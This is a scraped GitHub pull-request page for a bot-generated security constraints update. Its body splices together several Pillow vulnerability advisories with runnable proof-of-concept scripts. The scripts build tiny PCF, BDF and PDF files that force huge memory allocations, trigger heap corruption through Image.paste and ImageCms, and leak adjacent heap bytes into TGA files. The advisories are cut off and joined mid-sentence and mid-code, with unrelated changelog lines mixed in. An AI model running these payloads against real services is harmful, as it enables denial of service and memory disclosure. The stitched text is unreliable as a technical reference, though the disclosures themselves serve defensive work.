Updated constraints due security reasons (triggered on 2026-07-27T14:34:17+00:00 by 56ca24ff3b40f15b82d28d1268e3c794df9ed4ea) - #30
Open
github-actions[bot] wants to merge 1 commit into
Conversation
github-actions
Bot
force-pushed
the
create-pull-request/patch-audit-constraints
branch
from
May 25, 2026 13:15
48e4610 to
5c119d0
Compare
github-actions
Bot
force-pushed
the
create-pull-request/patch-audit-constraints
branch
2 times, most recently
from
June 8, 2026 13:34
20e1082 to
82f8882
Compare
github-actions
Bot
force-pushed
the
create-pull-request/patch-audit-constraints
branch
from
June 15, 2026 14:13
82f8882 to
5a6bbff
Compare
github-actions
Bot
force-pushed
the
create-pull-request/patch-audit-constraints
branch
from
June 22, 2026 13:57
5a6bbff to
22741df
Compare
github-actions
Bot
force-pushed
the
create-pull-request/patch-audit-constraints
branch
from
June 29, 2026 13:35
22741df to
91cc767
Compare
github-actions
Bot
force-pushed
the
create-pull-request/patch-audit-constraints
branch
from
July 13, 2026 14:34
91cc767 to
d255d85
Compare
github-actions
Bot
force-pushed
the
create-pull-request/patch-audit-constraints
branch
from
July 20, 2026 14:06
d255d85 to
ca58d15
Compare
github-actions
Bot
force-pushed
the
create-pull-request/patch-audit-constraints
branch
from
July 27, 2026 14:34
ca58d15 to
80dbfe2
Compare
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Fixed dependency issues for Python 3.10
PIL/FontFile.pyFontFile.compile()assembles per-glyph images into a single combined bitmap usingImage.new("1", (xsize, ysize))without callingImage._decompression_bomb_check(). This is the base-class method shared by bothBdfFontFileandPcfFontFile, and it is triggered whenever a loaded font is converted to anImageFontor saved. NeitherBdfFontFile.BdfFontFile(fp)norPcfFontFile.PcfFontFile(fp)is registered withImage.register_open(), so Pillow's standard decompression bomb guard never fires for font objects. The compile step is the final opportunity to check the combined allocation — and it has no check. Vulnerable code (PIL/FontFile.pylines ~64–92):python def compile(self) -> None: if self.bitmap: return h = w = maxwidth = 0 lines = 1 for glyph in self.glyph: # up to 256 glyph slots if glyph: d, dst, src, im = glyph h = max(h, src[3] - src[1]) # max glyph height — attacker-controlled w = w + (src[2] - src[0]) if w > WIDTH: # WIDTH = 800 lines += 1 w = src[2] - src[0] maxwidth = max(maxwidth, w) xsize = maxwidth # ≤ 800 (capped by WIDTH constant) ysize = lines * h # ← lines(256) × h(65535) = 16,776,960 if xsize == 0 and ysize == 0: return self.ysize = h # NO _decompression_bomb_check() here ← self.bitmap = Image.new("1", (xsize, ysize)) # ← unchecked allocation"Slow accumulation" attack — per-glyph dimensions stay BELOW warning threshold:PIL/PcfFontFile.py_load_bitmaps()(line 227) reads glyph dimensions from the PCFMETRICSsection and passes them directly toImage.frombytes()without callingImage._decompression_bomb_check(). Dimensions originate from unsigned 16-bit values:xsize = right - left (max: 65535 − 0 = 65535) ysize = ascent + descent (max: 65535 + 65535 = 131070)Maximum exploitable pixel count: 65,535 × 131,070 = 8,589,734,450 pixels — 48× the DecompressionBombError threshold. Vulnerable code (PIL/PcfFontFile.pyline 224–227):python for i in range(nbitmaps): xsize, ysize = metrics[i][:2] # from PCF METRICS — attacker-controlled b, e = offsets[i : i + 2] bitmaps.append( Image.frombytes("1", (xsize, ysize), data[b:e], "raw", mode, pad(xsize)) # ↑ NO _decompression_bomb_check()! )Image.frombytes()callsImage.new()first (allocating the full C-heap buffer), then attempts to fill it. This creates two distinct attack paths: - Persistent attack: Provide matching bitmap data →frombytes()succeeds → image stored infont.glyph[ch]permanently - Transient attack: Provide a 148-byte PCF file with large declared dimensions but no data →Image.new()allocates the full buffer →ValueError→ buffer freed → but the spike occurs before Python can respond ## Steps to reproduce Proof of Concept script:python #!/usr/bin/env python3 """PoC: PcfFontFile bomb bypass — 148-byte PCF → 23 MB allocation""" import io, struct, tracemalloc, warnings warnings.filterwarnings("ignore") from PIL.PcfFontFile import PcfFontFile from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError W, H = 14000, 14000 # 196M pixels → above DecompressionBombError threshold # Show what Image.open() would do warnings.filterwarnings("error", category=DecompressionBombWarning) try: _decompression_bomb_check((W, H)) except (DecompressionBombWarning, DecompressionBombError) as e: print(f"[Image.open() path] BLOCKED by {type(e).__name__}") warnings.filterwarnings("ignore") # PCF binary constants PCF_MAGIC = 0x70636601 PCF_PROPS = 1 << 0 PCF_METRICS = 1 << 2 PCF_BITMAPS = 1 << 3 PCF_ENCODINGS= 1 << 5 def build_bomb_pcf(xsize, ysize): # Properties: empty props = struct.pack("<III", 0, 0, 0) # Metrics (jumbo, non-compressed): 1 glyph — xsize=right-left, ysize=ascent+descent metrics = struct.pack("<II", 0, 1) metrics += struct.pack("<HHHHHH", 0, xsize, xsize, ysize, 0, 0) # Bitmaps: 1 glyph, empty data (transient attack) bitmaps = struct.pack("<II", 0, 1) bitmaps += struct.pack("<I", 0) # offset[0] = 0 bitmaps += struct.pack("<IIII", 0, 0, 0, 0) # bitmap_sizes all = 0 # Encodings: char 0x41 ('A') → glyph 0 enc_offsets = [0xFFFF]*65 + [0] + [0xFFFF]*62 encodings = struct.pack("<IHHHHH", 0, 0, 127, 0, 0, 0xFFFF) encodings += struct.pack("<" + "H"*128, *enc_offsets) secs = [(PCF_PROPS, props), (PCF_METRICS, metrics), (PCF_BITMAPS, bitmaps), (PCF_ENCODINGS, encodings)] hdr_size = 4 + 4 + len(secs) * 16 out = struct.pack("<II", PCF_MAGIC, len(secs)) offset = hdr_size for stype, sdata in secs: out += struct.pack("<IIII", stype, 0, len(sdata), offset) offset += len(sdata) for _, sdata in secs: out += sdata return out pcf = build_bomb_pcf(W, H) print(f"[*] PCF file size : {len(pcf)} bytes") print(f"[*] Glyph size : {W} x {H} = {W*H:,} pixels") print(f"[*] C-heap target : {W*H//8//1024**2} MB (mode '1' = 1 bit/pixel)") tracemalloc.start() try: font = PcfFontFile(io.BytesIO(pcf)) _, peak = tracemalloc.get_traced_memory() tracemalloc.stop() print(f"[!] CONFIRMED (persistent): bomb check bypassed — heap peak {peak/1024**2:.2f} MB") except Exception as e: _, peak = tracemalloc.get_traced_memory() tracemalloc.stop() print(f"[!] CONFIRMED (transient): {type(e).__name__} after allocation") print(f" Heap peak: {peak/1024**2:.2f} MB") print(f" C-heap allocation of ~{W*H//8//1024**2} MB occurred before exception")Expected output:[Image.open() path] BLOCKED by DecompressionBombError [*] PCF file size : 148 bytes [*] Glyph size : 14000 x 14000 = 196,000,000 pixels [*] C-heap target : 23 MB (mode '1' = 1 bit/pixel) [!] CONFIRMED (transient): ValueError after allocation C-heap allocation of ~23 MB occurred before exceptionAmplification table:PIL/GdImageFile.pyGdImageFile._open()reads image dimensions from the GD 2.x header and stores them inself._sizewithout callingImage._decompression_bomb_check(). BecauseGdImageFileis not registered withImage.register_open(), it never passes through the standardImage.open()code path that enforces Pillow's decompression bomb guard. The plugin exposes its own entry point —PIL.GdImageFile.open(fp)— which directly instantiates the class, fully bypassing the documented protection. Vulnerable code (PIL/GdImageFile.pylines 50–61):python def _open(self) -> None: s = self.fp.read(1037) if i16(s) not in [65534, 65535]: raise SyntaxError("Not a valid GD 2.x .gd file") self._mode = "P" self._size = i16(s, 2), i16(s, 4) # ← unsigned 16-bit; max 65535 each # NO _decompression_bomb_check() call here ← ... self.tile = [ImageFile._Tile("raw", (0, 0) + self.size, 1037, "L")]Whenload()is subsequently called on the returned image object:python load() → load_prepare() → Image.core.new("P", (65535, 65535)) # ↑ C-level allocation of 4,294,836,225 bytes ≈ 4.3 GB — no Python bomb check precedes thisDimension arithmetic:PIL/BdfFontFile.pybdf_char()(lines 84–88) reads theBBX width heightfield from a BDF font file and passes the dimensions directly toImage.new()without callingImage._decompression_bomb_check(). This completely bypasses Pillow's documented decompression bomb protection.Image.open()enforcesMAX_IMAGE_PIXELS = 89,478,485and raisesDecompressionBombErrorfor images exceeding2 × MAX = 178,956,970pixels. The BDF font loading path callsImage.new()directly, which only calls_check_size()(validates>= 0) — no pixel count limit. Vulnerable code (PIL/BdfFontFile.pylines 84–88):python # width, height from attacker-controlled "BBX width height x y" line try: im = Image.frombytes("1", (width, height), bitmap, "hex", "1") except ValueError: # TRIGGERED when BITMAP section is empty (zero hex lines) im = Image.new("1", (width, height)) # ← NO _decompression_bomb_check()! # ^ This image is stored in self.glyph[ch] — persists in memoryAttack trigger: A BDF glyph withBBX 20000 20000and an emptyBITMAPsection causesImage.frombytes()to raiseValueError, thenImage.new("1", (20000, 20000))allocates 50 MB of C-heap silently. Image.open() would raiseDecompressionBombErrorfor the same dimensions. ## Steps to reproduce Minimal malicious BDF file (270 bytes):STARTFONT 2.1 SIZE 16 75 75 FONTBOUNDINGBOX 16 16 0 -4 STARTPROPERTIES 1 COMMENT placeholder ENDPROPERTIES CHARS 1 STARTCHAR A ENCODING 65 SWIDTH 500 0 DWIDTH 8 0 BBX 20000 20000 0 0 BITMAP ENDCHAR ENDFONTProof of Concept script:python #!/usr/bin/env python3 """PoC: BdfFontFile bomb bypass — 270-byte BDF → 50 MB allocation""" import io, warnings warnings.filterwarnings("ignore") from PIL.BdfFontFile import BdfFontFile from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError W, H = 20000, 20000 # 400M pixels → above DecompressionBombError threshold # Show what Image.open() would do warnings.filterwarnings("error", category=DecompressionBombWarning) try: _decompression_bomb_check((W, H)) except (DecompressionBombWarning, DecompressionBombError) as e: print(f"[Image.open() path] BLOCKED by {type(e).__name__}") warnings.filterwarnings("ignore") # Malicious BDF: large BBX + empty BITMAP → ValueError → Image.new() without bomb check bdf = f"""STARTFONT 2.1 SIZE 16 75 75 FONTBOUNDINGBOX 16 16 0 -4 STARTPROPERTIES 1 COMMENT x ENDPROPERTIES CHARS 1 STARTCHAR A ENCODING 65 SWIDTH 500 0 DWIDTH 8 0 BBX {W} {H} 0 0 BITMAP ENDCHAR ENDFONT """.encode() print(f"[*] BDF file size : {len(bdf)} bytes") print(f"[*] Glyph size : {W} x {H} = {W*H:,} pixels") print(f"[*] C-heap target : {W*H//8//1024**2} MB (mode '1' = 1 bit/pixel)") BdfFontFile(io.BytesIO(bdf)) # No exception — bomb check bypassed! print(f"[!] CONFIRMED: BdfFontFile loaded silently — {W*H//8//1024**2} MB allocated") print(f" Image.open() path would have raised DecompressionBombError")Expected output:[Image.open() path] BLOCKED by DecompressionBombError [*] BDF file size : 270 bytes [*] Glyph size : 20000 x 20000 = 400,000,000 pixels [*] C-heap target : 47 MB (mode '1' = 1 bit/pixel) [!] CONFIRMED: BdfFontFile loaded silently — 47 MB allocated Image.open() path would have raised DecompressionBombErrorAmplified attack (multiple glyphs): A BDF file defining 256 glyphs each atBBX 8000 8000causes256 × 7.6 MB = ~1.95 GBtotal C-heap allocation — all silently, bypassing documented bomb protection. ### Impact - Availability: HIGH — attacker-controlled memory allocation per glyph × up to 65,536 glyphs - Confidentiality: None - Integrity: None - Any service loading BDF fonts from untrusted sources (e.g.,ImageFont.load("user.bdf"),BdfFontFile(fp)) is affected - Loaded glyph images persist inself.glyph[ch]for the lifetime of the font object — memory is NOT freed until the font is garbage collectedRGBA, this becomes a controlled backward heap underwrite: for a source image of widthW, Pillow writes4 * Wattacker-controlled bytes starting4 * Wbytes before the destination row pointer. With successful large image allocation, the theoretical upper bound is ~2 GiB backwards from the destination row. Minimal public API trigger:python from PIL import Image INT_MIN = -(1 << 31) src = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44)) dst = Image.new("RGBA", (8, 1)) dst.paste(src, ((1 << 31) - 2, 0, INT_MIN, 1))The same root cause is also reachable throughImage.crop()andImage.alpha_composite(). No private API, ctypes, custom Python object, or malformed image file is needed. This has been confirmed as an ASAN heap-buffer-overflow write. On normal non-ASAN Pillow builds, the minimal trigger corrupts the heap and aborts withdouble free or corruption (out)### Detailssrc/PIL/Image.py:paste()accepts a 4-tuple box and passes it to the nativeImagingCore.paste()method:python self.im.paste(source, box)src/_imaging.c:_paste()parses the four Python coordinates into signedintvalues and callsImagingPaste(): ```c int x0, y0, x1, y1; PyArg_ParseTuple(args, "O(iiii)ImageCms.ImageCmsTransform.apply(im, imOut)API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. For example, a transform built asRGBA -> RGBAcan be applied to anLoutput image. Pillow checks dimensions only, then calls LittleCMS with the output row pointer. LittleCMS writes RGBA-sized rows into a 1-byte-per-pixelLimage row. ### Detailssrc/PIL/ImageCms.py:ImageCmsTransform.apply()accepts an optional caller suppliedimOut:python def apply(self, im, imOut=None): if imOut is None: imOut = Image.new(self.output_mode, im.size, None) self.transform.apply(im.getim(), imOut.getim()) imOut.info["icc_profile"] = self.output_profile.tobytes() return imOutIfimOutis provided, Pillow does not check:text im.mode == self.input_mode imOut.mode == self.output_modeThe C wrapper insrc/_imagingcms.cunwraps both image cores and only checks that the output dimensions are at least as large as the input dimensions: ```c static int pyCMSdoTransform(Imaging im, Imaging imOut, cmsHTRANSFORM hTransform) { if (im->xsize > imOut->xsizePdfParser.PdfStream.decode()in Pillow'sPdfParser.pycallszlib.decompress()with thebufsizeparameter set to the value of the PDF stream'sLengthfield, without any upper bound on the actual decompressed output size. Python'szlib.decompress()bufsizeargument is an initial output buffer hint, not a maximum size limit — the function will expand memory until the full decompressed result is produced. A crafted PDF containing a FlateDecode-compressed stream decompresses to 1 GB of memory from a ~950 KB file, causing server OOM termination or severe degradation in any application that usesPdfParserto read untrusted PDF files. ### DetailsPdfStream.decode()inpdfminer/PdfParser.pyreads the stream's declaredLength(orDL) field from the PDF dictionary and passes it asbufsizetozlib.decompress():python # PIL/PdfParser.py — PdfStream.decode() class PdfStream: def decode(self) -> bytes: try: filter = self.dictionary[b"Filter"] except KeyError: return self.buf if filter == b"FlateDecode": try: expected_length = self.dictionary[b"DL"] except KeyError: expected_length = self.dictionary[b"Length"] return zlib.decompress(self.buf, bufsize=int(expected_length)) # ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ # bufsize is an *initial buffer hint*, NOT a maximum size limit. # zlib.decompress() allocates as much memory as needed regardless.From the Python documentation: "Thebufsizeparameter is used as the initial size of the output buffer." It does not cap decompression. An attacker who controls the PDF stream contents can provide a highly-compressed payload that expands to gigabytes, while settingLengthto any value (including the actual compressed size) to avoid triggering format validation.PdfParseris instantiated with a filename or file object and callsread_pdf_info()on open, which parses the xref table and makes stream objects accessible.PdfStream.decode()is reachable whenever calling code accesses a compressed stream object from the parsed PDF. Confirmed reachable path:python with PdfParser.PdfParser("evil.pdf") as pdf: stream_obj, _ = pdf.get_value(pdf.buf, stream_offset) data = stream_obj.decode() # ← OOM here### PoCpython import zlib, tempfile, os, time from PIL import PdfParser # Build a minimal PDF with a 100 MB FlateDecode bomb (demo scale) EXPAND_MB = 100 raw = b'\x00' * (EXPAND_MB * 1_000_000) compressed = zlib.compress(raw, level=9) # ~97 KB buf = b'%PDF-1.4\n' o1 = len(buf); buf += b'1 0 obj\n<< /Type /Pages /Kids [] /Count 0 >>\nendobj\n' o2 = len(buf); buf += b'2 0 obj\n<< /Type /Catalog /Pages 1 0 R >>\nendobj\n' o3 = len(buf) hdr = f'<< /Filter /FlateDecode /Length {len(compressed)} >>'.encode() buf += b'3 0 obj\n' + hdr + b'\nstream\n' + compressed + b'\nendstream\nendobj\n' xref = len(buf) buf += b'xref\n0 4\n0000000000 65535 f \n' for off in [o1, o2, o3]: buf += f'{off:010d} 00000 n \n'.encode() buf += b'trailer\n<< /Size 4 /Root 2 0 R >>\nstartxref\n' + str(xref).encode() + b'\n%%EOF\n' print(f"PDF size: {len(buf):,} bytes ({len(buf)/1024:.1f} KB)") with tempfile.NamedTemporaryFile(delete=False, suffix='.pdf') as f: f.write(buf); tmpname = f.name with PdfParser.PdfParser(tmpname) as pdf: obj, _ = pdf.get_value(pdf.buf, o3) t = time.time() decoded = obj.decode() print(f"Decoded: {len(decoded):,} bytes in {time.time()-t:.3f}s") os.unlink(tmpname)Actual output (Pillow 12.1.1, Python 3.12):PDF size: 97,538 bytes (95.3 KB) Decoded: 100,000,000 bytes in 0.265sMeasured expansion:src/libImaging/Jpeg2KDecode.c:853accumulatestotal_component_widthacross every tile in a JPEG2000 image instead of recomputing it per tile. That accumulated value is then used in thetile_bytescalculation atsrc/libImaging/Jpeg2KDecode.c:868, which can make the decoder growstate->bufferviareallocatsrc/libImaging/Jpeg2KDecode.c:876up to roughly one full image's decompressed size even when each tile is small. A crafted tiled JPEG2000 file can therefore force substantially higher transient memory usage and trigger out-of-memory failures during decoding. Based on current evidence, the supported impact is denial of service, not memory corruption. ### Details - Location:src/libImaging/Jpeg2KDecode.c:853- Root cause:total_component_widthis initialized only once before the tile loop and keeps growing across tiles. It is then used to derivetile_bytes, so later tiles are treated as if they had the combined component width of all earlier tiles. - Dangerous operation:tile_bytesis promoted intotile_info.data_size, thenstate->bufferis grown withreallocatsrc/libImaging/Jpeg2KDecode.c:876. - Reachability: any attacker-controlled JPEG2000 image with many tiles reaches this path during normalImage.open(...).load()decoding. ### PoC The attached helper script and testcase were used: exercise_j2k_tile_realloc.zip Generate the testcase:bash pythonexercise_j2k_tile_realloc.py make poc_3664_rgba_tile1832.jp2 \ --size 3664 --tile 1832Expected geometry from the helper: - image size:3664 x 3664- mode:RGBA- tile size:1832 x 1832(2x2tiles) -image_bytes=53699584- uncapped RSS observed: - vulnerable build:maxrss_kb=180264- fixed comparison build:maxrss_kb=138404Load it with the current vulnerable build:bash python exercise_j2k_tile_realloc.py load poc_3664_rgba_tile1832.jp2Load it again under a 160 MB address-space cap:bash python exercise_j2k_tile_realloc.py load poc_3664_rgba_tile1832.jp2 --limit-mb 160### Impact Conservative impact: denial of service through memory exhaustion during JPEG2000 decoding."1"image. Adjacent process heap bytes can be copied into the generated TGA file. The bug is reachable through the public save API:python im.save(out, format="TGA", compression="tga_rle")Older affected Pillow versions use the equivalent public optionrle=True. For mode"1", Pillow allocates a packed row buffer ofceil(width / 8)bytes, butImagingTgaRleEncode()treats the row as one full byte per pixel. The maximum valid TGA width is65535. At that width:text allocated packed row buffer: 8192 bytes encoder byte-offset walk: 65535 bytes maximum OOB window per row: 57343 bytesOn non-ASAN Pillow12.2.0, the public-only maximum-width PoC below serialized57297bytes from distinct out-of-bounds source offsets into one returned TGA, covering99.92%of the maximum adjacent heap window. No heap grooming, ctypes, private API, or malformed input file was used. The disclosure is emitted across many TGA packet payload copies of at most128bytes each, not one largememcpy(). ### Detailssrc/PIL/TgaImagePlugin.pyallows mode"1"TGA output and selects thetga_rleencoder when RLE compression is requested.src/encode.c:_setimage()allocates the row buffer using the packed-bit formula:c state->bytes = (state->bits * state->xsize + 7) / 8; state->buffer = (UINT8 *)calloc(1, state->bytes);For mode"1",state->bits == 1.src/libImaging/TgaRleEncode.cthen computes:c bytesPerPixel = (state->bits + 7) / 8;This becomes1, and the encoder uses pixel indexes as byte offsets:c static int comparePixels(const UINT8 *buf, int x, int bytesPerPixel) { buf += x * bytesPerPixel; return memcmp(buf, buf + bytesPerPixel, bytesPerPixel) == 0; }The packet payloadmemcpy()later copies those out-of-bounds source bytes into the output. Raw packets copy up to128contiguous bytes, while RLE packets copy one representative byte:c memcpy( dst, state->buffer + (state->x * bytesPerPixel - state->count), flushCount );A width-2 mode"1"image allocates one row byte and already triggers an ASAN heap-buffer-overflow read. Wider images increase the adjacent heap window and the amount of heap data that can be serialized. ### PoC #### Minimal ASAN triggerpython import io from PIL import Image out = io.BytesIO() Image.new("1", (2, 1)).save(out, format="TGA", compression="tga_rle")Observed on local Pillow12.3.0.dev0ASAN target:text ERROR: AddressSanitizer: heap-buffer-overflow READ of size 1 comparePixels /out/src/src/libImaging/TgaRleEncode.c:10 ImagingTgaRleEncode /out/src/src/libImaging/TgaRleEncode.c:81 0 bytes after a 1-byte allocation from _setimage#### Maximum-width heap disclosure This PoC uses one maximum-width row. It parses the generated TGA packets and extracts only payload bytes whose source offsets were outside the allocated packed row. Rows are avoided because they mostly repeat the same adjacent heap window. Run the following with a standard affected Pillow installation.python import hashlib import io import PIL from PIL import Image WIDTH = 65535 ATTEMPTS = 20 ROW_BYTES = (WIDTH + 7) // 8 MAX_OOB_WINDOW = WIDTH - ROW_BYTES def extract_oob_payload(data): i = 18 pixel = 0 oob = bytearray() while pixel < WIDTH: descriptor = data[i] i += 1 count = (descriptor & 0x7F) + 1 if descriptor & 0x80: value = data[i] i += 1 if pixel + count - 1 >= ROW_BYTES: oob.append(value) else: values = data[i : i + count] i += count oob.extend(values[max(ROW_BYTES - pixel, 0) :]) pixel += count return bytes(oob) best = b"" for _ in range(ATTEMPTS): out = io.BytesIO() Image.new("1", (WIDTH, 1), 0).save(out, format="TGA", compression="tga_rle") oob = extract_oob_payload(out.getvalue()) if len(oob) > len(best): best = oob with open("/tmp/max_oob_bytes.bin", "wb") as fp: fp.write(best) print(f"Pillow={PIL.__version__}") print(f"packed_row_bytes={ROW_BYTES}") print(f"maximum_oob_window={MAX_OOB_WINDOW}") print(f"serialized_distinct_oob_offsets={len(best)}") print(f"nonzero_oob_bytes={sum(byte != 0 for byte in best)}") print(f"coverage={len(best) / MAX_OOB_WINDOW:.2%}") print(f"sha256={hashlib.sha256(best).hexdigest()}")Observed on installed Pillow12.2.0:text Pillow=12.2.0 packed_row_bytes=8192 maximum_oob_window=57343 serialized_distinct_oob_offsets=57297 nonzero_oob_bytes=54407 coverage=99.92%### Impact This is a heap out-of-bounds read and potential information disclosure. A maximum-width single-row image can cause nearly the full57343-byte adjacent heap window to be incorporated into one output file.rawcodec and a mode inImage._MAPMODES, and the image was opened from a filename, it memory-maps the file and builds the image's row pointers directly into the mapping viaPyImaging_MapBuffer(src/map.c). The per-row spacing (stride) is taken from the tile arguments.map.cvalidatesoffset + ysize*stride <= buffer_lenbut never checks thatstrideis at least the natural row widthxsize * pixelsize. The McIdas AREA plugin (McIdasImagePlugin.py) derivesstride,offset,xsize, andysizedirectly from attacker-controlled 32-bit header words with no validation. By supplying astridefar smaller than the row width, an attacker makes each row pointer readxsize*pixelsizebytes that run past the mapped region. Accessing the pixels (e.g.Image.tobytes(),getpixel,convert,save) then reads adjacent process memory (information disclosure) or faults (SIGBUS, denial of service). ## Complete Code Trace Step 1:McIdasImageFile._open- turns attacker header words into image size, file offset, and row stride with no validation.python # src/PIL/McIdasImagePlugin.py:41-70 s = self.fp.read(256) if not _accept(s) or len(s) != 256: # _accept: prefix == b"\x00\x00\x00\x00\x00\x00\x00\x04" raise SyntaxError(...) self.area_descriptor = w = [0, *struct.unpack("!64i", s)] # w[1..64] = signed BE int32, ALL attacker-controlled if w[11] == 1: mode = rawmode = "L" # pixelsize 1, in _MAPMODES elif w[11] == 2: mode = rawmode = "I;16B" # pixelsize 2, in _MAPMODES ... self._mode = mode self._size = w[10], w[9] # (xsize, ysize) <-- attacker offset = w[34] + w[15] # <-- attacker stride = w[15] + w[10] * w[11] * w[14] # <-- attacker (set w[14]=0, w[15]=1 => stride=1) self.tile = [ ImageFile._Tile("raw", (0, 0) + self.size, offset, (rawmode, stride, 1)) ]Step 2:ImageFile.load(mmap branch) - selects mmap and delegates tomap_buffer.python # src/PIL/ImageFile.py:322-348 if use_mmap: # use_mmap = self.filename and len(self.tile) == 1 decoder_name, extents, offset, args = self.tile[0] if (decoder_name == "raw" and isinstance(args, tuple) and len(args) >= 3 and args[0] == self.mode and args[0] in Image._MAPMODES): if offset < 0: # only lower-bound guard on offset raise ValueError("Tile offset cannot be negative") with open(self.filename) as fp: self.map = mmap.mmap(fp.fileno(), 0, access=mmap.ACCESS_READ) if offset + self.size[1] * args[1] > self.map.size(): # == offset + ysize*stride; NO stride>=linesize check raise OSError("buffer is not large enough") self.im = Image.core.map_buffer( self.map, self.size, decoder_name, offset, args # args = ("L", stride, 1) )Step 3:PyImaging_MapBuffer- builds row pointers atstridespacing into the mmap; validates everything exceptstride >= row width. ```c /* src/map.c:65-140 / if (!PyArg_ParseTuple(args, "O(ii)sn(sii)", &target, &xsize, &ysize, &codec, &offset, &mode_name, &stride, &ystep)) return NULL; ... const ModeID mode = findModeID(mode_name); / "L" / if (stride <= 0) { / attacker sets stride=1 (>0) -> NOT recomputed */ if (mode == IMAGING_MODE_LFixed dependency issues for Python 3.11